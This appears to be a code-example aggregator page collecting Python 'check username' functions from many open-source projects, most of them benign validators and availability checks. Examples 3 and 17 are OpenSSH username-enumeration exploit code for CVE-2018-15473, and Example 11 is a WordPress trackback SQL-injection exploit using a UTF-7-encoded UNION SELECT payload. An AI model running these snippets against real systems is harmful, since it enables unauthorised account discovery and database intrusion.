Python check username

26 Python code examples are found related to " check username". You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.
Example 1
Source File: InstagramRegistration.py    From Instagram-API with MIT License 6 votes vote down vote up
def checkUsername(self, username):
        """
        Checks if the username is already taken (exists).
        :type username: str
        :param username:
        :rtype: object
        :return: Username availability data
        """
        data = json.dumps(
            OrderedDict([
                ('_uuid', self.uuid),
                ('username', username),
                ('_csrftoken', 'missing'),
            ])
        )

        self.username = username
        self.settings = Settings(os.path.join(self.IGDataPath, self.username, 'settings-' + username + '.dat'))
        return CheckUsernameResponse(self.request('users/check_username/', SignatureUtils.generateSignature(data))[1]) 
Example 2
Source File: platforms.py    From socialscan with Mozilla Public License 2.0 6 votes vote down vote up
def check_username(self, username):
        token = await self.get_token()
        async with self.post(
            Snapchat.ENDPOINT,
            data={"requested_username": username, "xsrf_token": token},
            cookies={"xsrf_token": token},
        ) as r:
            # Non-JSON received if too many requests
            json_body = await self.get_json(r)
            if "error_message" in json_body["reference"]:
                return self.response_unavailable_or_invalid(
                    username,
                    message=json_body["reference"]["error_message"],
                    unavailable_messages=Snapchat.USERNAME_TAKEN_MSGS,
                )
            elif json_body["reference"]["status_code"] == "OK":
                return self.response_available(username)

    # Email: Snapchat doesn't associate email addresses with accounts 
Example 3
Source File: CVE-2018-15473.py    From PoC-Bank with MIT License 6 votes vote down vote up
def checkUsername(username, tried=0):
    sock = socket.socket()
    sock.connect((args.hostname, args.port))
    # instantiate transport
    transport = paramiko.transport.Transport(sock)
    try:
        transport.start_client()
    except paramiko.ssh_exception.SSHException:
        # server was likely flooded, retry up to 3 times
        transport.close()
        if tried < 4:
            tried += 1
            return checkUsername(username, tried)
        else:
            print('[-] Failed to negotiate SSH transport')
    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
            return (username, False)
    except paramiko.ssh_exception.AuthenticationException:
            return (username, True)
    #Successful auth(?)
    raise Exception("There was an error. Is this the correct version of OpenSSH?")

# function to test target system using the randomly generated usernames 
Example 4
Source File: account.py    From PatentCrawler with Apache License 2.0 6 votes vote down vote up
def check_username(self, cfg: configparser.ConfigParser):
        """
        用户名校验,设置
        :param cfg:
        :return:
        """
        try:
            username = cfg.get('account', 'username')
            self.username = username
        except:
            click.echo(description)
            while True:
                try:
                    username = click.prompt('用户名出错,请填写')
                    self.username = username
                    break
                except:
                    pass 
Example 5
Source File: users.py    From instagram_private_api with MIT License 6 votes vote down vote up
def check_username(self, username):
        """
        Check username

        :param username:
        :return:
            .. code-block:: javascript

                {
                  "status": "ok",
                  "available": false,
                  "username": "xxx",
                  "error_type": "username_is_taken",
                  "error": "The username xxx is not available."
                }
        """
        params = {'username': username}
        return self._call_api('users/check_username/', params=params) 
Example 6
Source File: tools.py    From TorCMS with MIT License 6 votes vote down vote up
def check_username_valid(username):
    '''
    Checking if the username if valid.

    >>> check_username_valid('/sadf')
    False
    >>> check_username_valid('\s.adf')
    False
    >>> check_username_valid('')
    False
    >>> check_username_valid(' ')
    False
    '''
    if re.match('^[a-zA-Z][a-zA-Z0-9_]{3,19}', username) != None:
        return True
    return False 
Example 7
Source File: Create_User.py    From Scrummage with GNU General Public License v3.0 5 votes vote down vote up
def check_safe_username(Username):

    Verdict = True

    for Character in Username:

        if Character in Bad_Characters:
            Verdict = False

    return Verdict 
Example 8
Source File: manager.py    From allianceauth with GNU General Public License v2.0 5 votes vote down vote up
def check_username(cls, username):
        logger.debug("Checking alliance market username %s" % username)
        cursor = connections['market'].cursor()
        cursor.execute(cls.SQL_CHECK_USERNAME, [cls.__santatize_username(username)])
        row = cursor.fetchone()
        if row:
            logger.debug("Found user %s on alliance market" % username)
            return True
        logger.debug("User %s not found on alliance market" % username)
        return False 
Example 9
Source File: haveibeenpwned_wrapper.py    From haveibeenpwned_lastpass with MIT License 5 votes vote down vote up
def check_username(self, username, domain='', *args, **kwargs):
        url = 'https://haveibeenpwned.com/api/breachedaccount/{}'.format(quote(username))
        domain = self._get_domain(domain)
        response = self.get(url, params={'domain': domain})
        if response.text:
            pass 
Example 10
Source File: forms_admin.py    From flicket with MIT License 5 votes vote down vote up
def check_username_edit(form, field):
    query = FlicketUser.query.filter_by(id=form.user_id.data).first()

    if form.username.data == query.username:
        return True

    does_username_exist(form, field) 
Example 11
Source File: 070107.py    From d4rkc0de with GNU General Public License v2.0 5 votes vote down vote up
def checkUsername(host, pid, prefix, name, uid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if user %s is present" % name
    
    if uid != -1:
        sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*" % (prefix, uid)
    else:
        sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*" % (prefix, name)
    
    sql = string.replace(sql, "'", "+ACc-")
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    
    content = req.read()
    
    
    if string.find(content, 'Duplicate') != -1:
        return 1
    if string.find(content, 'Doppelter') != -1:
        return 1
    
    if uid != -1:
        print "[-] Error user_id invalid"
    else:
        print "[-] Error username invalid"
    sys.exit(-2)
    return 0 
Example 12
Source File: backend.py    From boss-oidc with Apache License 2.0 5 votes vote down vote up
def check_username(username):
    """Ensure that the given username does exceed the current user models field
    length

    Args:
        username (str): Username of the user logging in

    Raises:
        AuthenticationFailed: If the username length exceeds the fields max length
    """
    username_field = get_user_model()._meta.get_field("username")
    if len(username) > username_field.max_length:
        raise AuthenticationFailed(_('Username is too long for Django')) 
Example 13
Source File: menu.py    From hardening-script-el6-kickstart with Apache License 2.0 5 votes vote down vote up
def check_username(self,username):
		pattern = re.compile(r"^\w{5,255}$",re.VERBOSE)
		if re.match(pattern,username):
			return True
		else:
			return False

	# Check for vaild Unix UID 
Example 14
Source File: handlesystemconnector.py    From B2HANDLE with Apache License 2.0 5 votes vote down vote up
def check_if_username_exists(self, username):
        '''
        Check if the username handles exists.

        :param username: The username, in the form index:prefix/suffix
        :raises: :exc:`~b2handle.handleexceptions.HandleNotFoundException`
        :raises: :exc:`~b2handle.handleexceptions.GenericHandleError`
        :return: True. If it does not exist, an exception is raised.

        *Note:* Only the existence of the handle is verified. The existence or
        validity of the index is not checked, because entries containing
        a key are hidden anyway.
        '''
        LOGGER.debug('check_if_username_exists...')

        _, handle = b2handle.utilhandle.remove_index_from_handle(username)

        resp = self.send_handle_get_request(handle)
        resp_content = decoded_response(resp)
        if b2handle.hsresponses.does_handle_exist(resp):
            handlerecord_json = json.loads(resp_content)
            if not handlerecord_json['handle'] == handle:
                raise GenericHandleError(
                    operation='Checking if username exists',
                    handle=handle,
                    reponse=resp,
                    msg='The check returned a different handle than was asked for.'
                )
            return True
        elif b2handle.hsresponses.handle_not_found(resp):
            msg = 'The username handle does not exist'
            raise HandleNotFoundException(handle=handle, msg=msg, response=resp)
        else:
            op = 'checking if handle exists'
            msg = 'Checking if username exists went wrong'
            raise GenericHandleError(operation=op, handle=handle, response=resp, msg=msg) 
Example 15
Source File: global_functions.py    From Stream4Flow with MIT License 5 votes vote down vote up
def check_username(db, username):
    """
    Checks if given username exists in the database.

    :param username: username to check
    :return: True if username is in the database, False otherwise
    """

    if db(db.users.username == username).select():
        return True
    return False 
Example 16
Source File: __init__.py    From lux with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def check_username(request, username):
    """Default function for checking username validity
    """
    correct = slugify(username)
    if correct != username:
        raise ValidationError('Username may only contain lowercase '
                              'alphanumeric characters or single hyphens, '
                              'cannot begin or end with a hyphen')
    elif len(correct) < 2:
        raise ValidationError('Too short')
    return username 
Example 17
Source File: 52-ssh-usrname-enumeration.py    From vulscan with MIT License 5 votes vote down vote up
def checkUsername(username,host, tried=0):
    username="rootasdf23"
    sock = socket.socket()
    sock.connect((host, 22))
    # instantiate transport
    transport = paramiko.transport.Transport(sock)
    try:
        transport.start_client()
    except paramiko.ssh_exception.SSHException:
        # server was likely flooded, retry up to 3 times
        transport.close()
        if tried < 4:
            tried += 1
            return checkUsername(username, tried)
        else:
            print '[-] Failed to negotiate SSH transport'
    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
        return "1"
    except paramiko.ssh_exception.AuthenticationException:
        return "2"
    #Successful auth(?)
    raise Exception("There was an error. Is this the correct version of OpenSSH?")


#基础基类 
Example 18
Source File: validators.py    From cadasta-platform with GNU Affero General Public License v3.0 5 votes vote down vote up
def check_username_case_insensitive(username):
    usernames = [
        u.casefold() for u in
        User.objects.values_list('username', flat=True)
    ]
    if username.casefold() in usernames:
        raise ValidationError(
            _("A user with that username already exists")
        ) 
Example 19
Source File: views.py    From elmer with MIT License 5 votes vote down vote up
def check_username(request):
    """
    Ajax call to check username availability.
    """
    username = request.GET.get('username', None)
    data = {
        'is_taken': User.objects.filter(username__iexact=username).exists()
    }
    return JsonResponse(data) 
Example 20
Source File: users.py    From grin-pool with Apache License 2.0 5 votes vote down vote up
def check_username_exists(cls, username):
        if username is None:
            return False
        username = username.lower()
        count = database.db.getSession().query(Users).filter(Users.username == username).count()
        print("COUNT={}".format(count))
        return count != 0 
Example 21
Source File: user.py    From modern-paste with MIT License 5 votes vote down vote up
def check_username_availability():
    """
    Check if the specified username is available for registration.
    """
    data = flask.request.get_json()
    try:
        return flask.jsonify({
            'username': data['username'],
            'is_available': database.user.is_username_available(data['username']),
        }), constants.api.SUCCESS_CODE
    except:
        return flask.jsonify(constants.api.UNDEFINED_FAILURE), constants.api.UNDEFINED_FAILURE_CODE 
Example 22
Source File: py3.py    From packyou with MIT License 5 votes vote down vote up
def check_username_available(self, username):
        """
            Sometimes github has a - in the username or repository name.
            The - can't be used in the import statement.
        """
        user_profile_url = 'https://github.com/{0}'.format(username)
        response = requests.get(user_profile_url)
        if response.status_code == 404:
            user_profile_url = 'https://github.com/{0}'.format(username.replace('_', '-'))
            response = requests.get(user_profile_url)
            if response.status_code == 200:
                return user_profile_url 
Example 23
Source File: couchbase_utils.py    From full-stack-flask-couchbase with MIT License 5 votes vote down vote up
def check_couchbase_username_password(*, cluster_url, username, password):
    url = f"{cluster_url}/settings/web"
    auth = HTTPBasicAuth(username, password)
    r = requests.get(url, auth=auth)
    return r.status_code == 200 
Example 24
Source File: authentication.py    From fastapi-realworld-example-app with MIT License 5 votes vote down vote up
def check_username_is_taken(repo: UsersRepository, username: str) -> bool:
    try:
        await repo.get_user_by_username(username=username)
    except EntityDoesNotExist:
        return False

    return True 
Example 25
Source File: login.py    From pagure with GNU General Public License v2.0 4 votes vote down vote up
def check_username_and_password(session, username, password):
    """ Check if the provided username and password match what is in the
    database and raise an pagure.exceptions.PagureException if that is
    not the case.
    """

    user_obj = pagure.lib.query.search_user(session, username=username)
    if not user_obj:
        raise pagure.exceptions.PagureException(
            "Username or password invalid."
        )

    try:
        password_checks = check_password(
            password,
            user_obj.password,
            seed=pagure.config.config.get("PASSWORD_SEED", None),
        )
    except pagure.exceptions.PagureException:
        raise pagure.exceptions.PagureException(
            "Username or password invalid."
        )

    if not password_checks:
        raise pagure.exceptions.PagureException(
            "Username or password invalid."
        )

    elif user_obj.token:
        raise pagure.exceptions.PagureException(
            "Invalid user, did you confirm the creation with the url "
            "provided by email?"
        )

    else:
        password = user_obj.password
        if not isinstance(password, six.text_type):
            password = password.decode("utf-8")
        if not password.startswith("$2$"):
            user_obj.password = generate_hashed_value(password)
            session.add(user_obj)
            session.flush()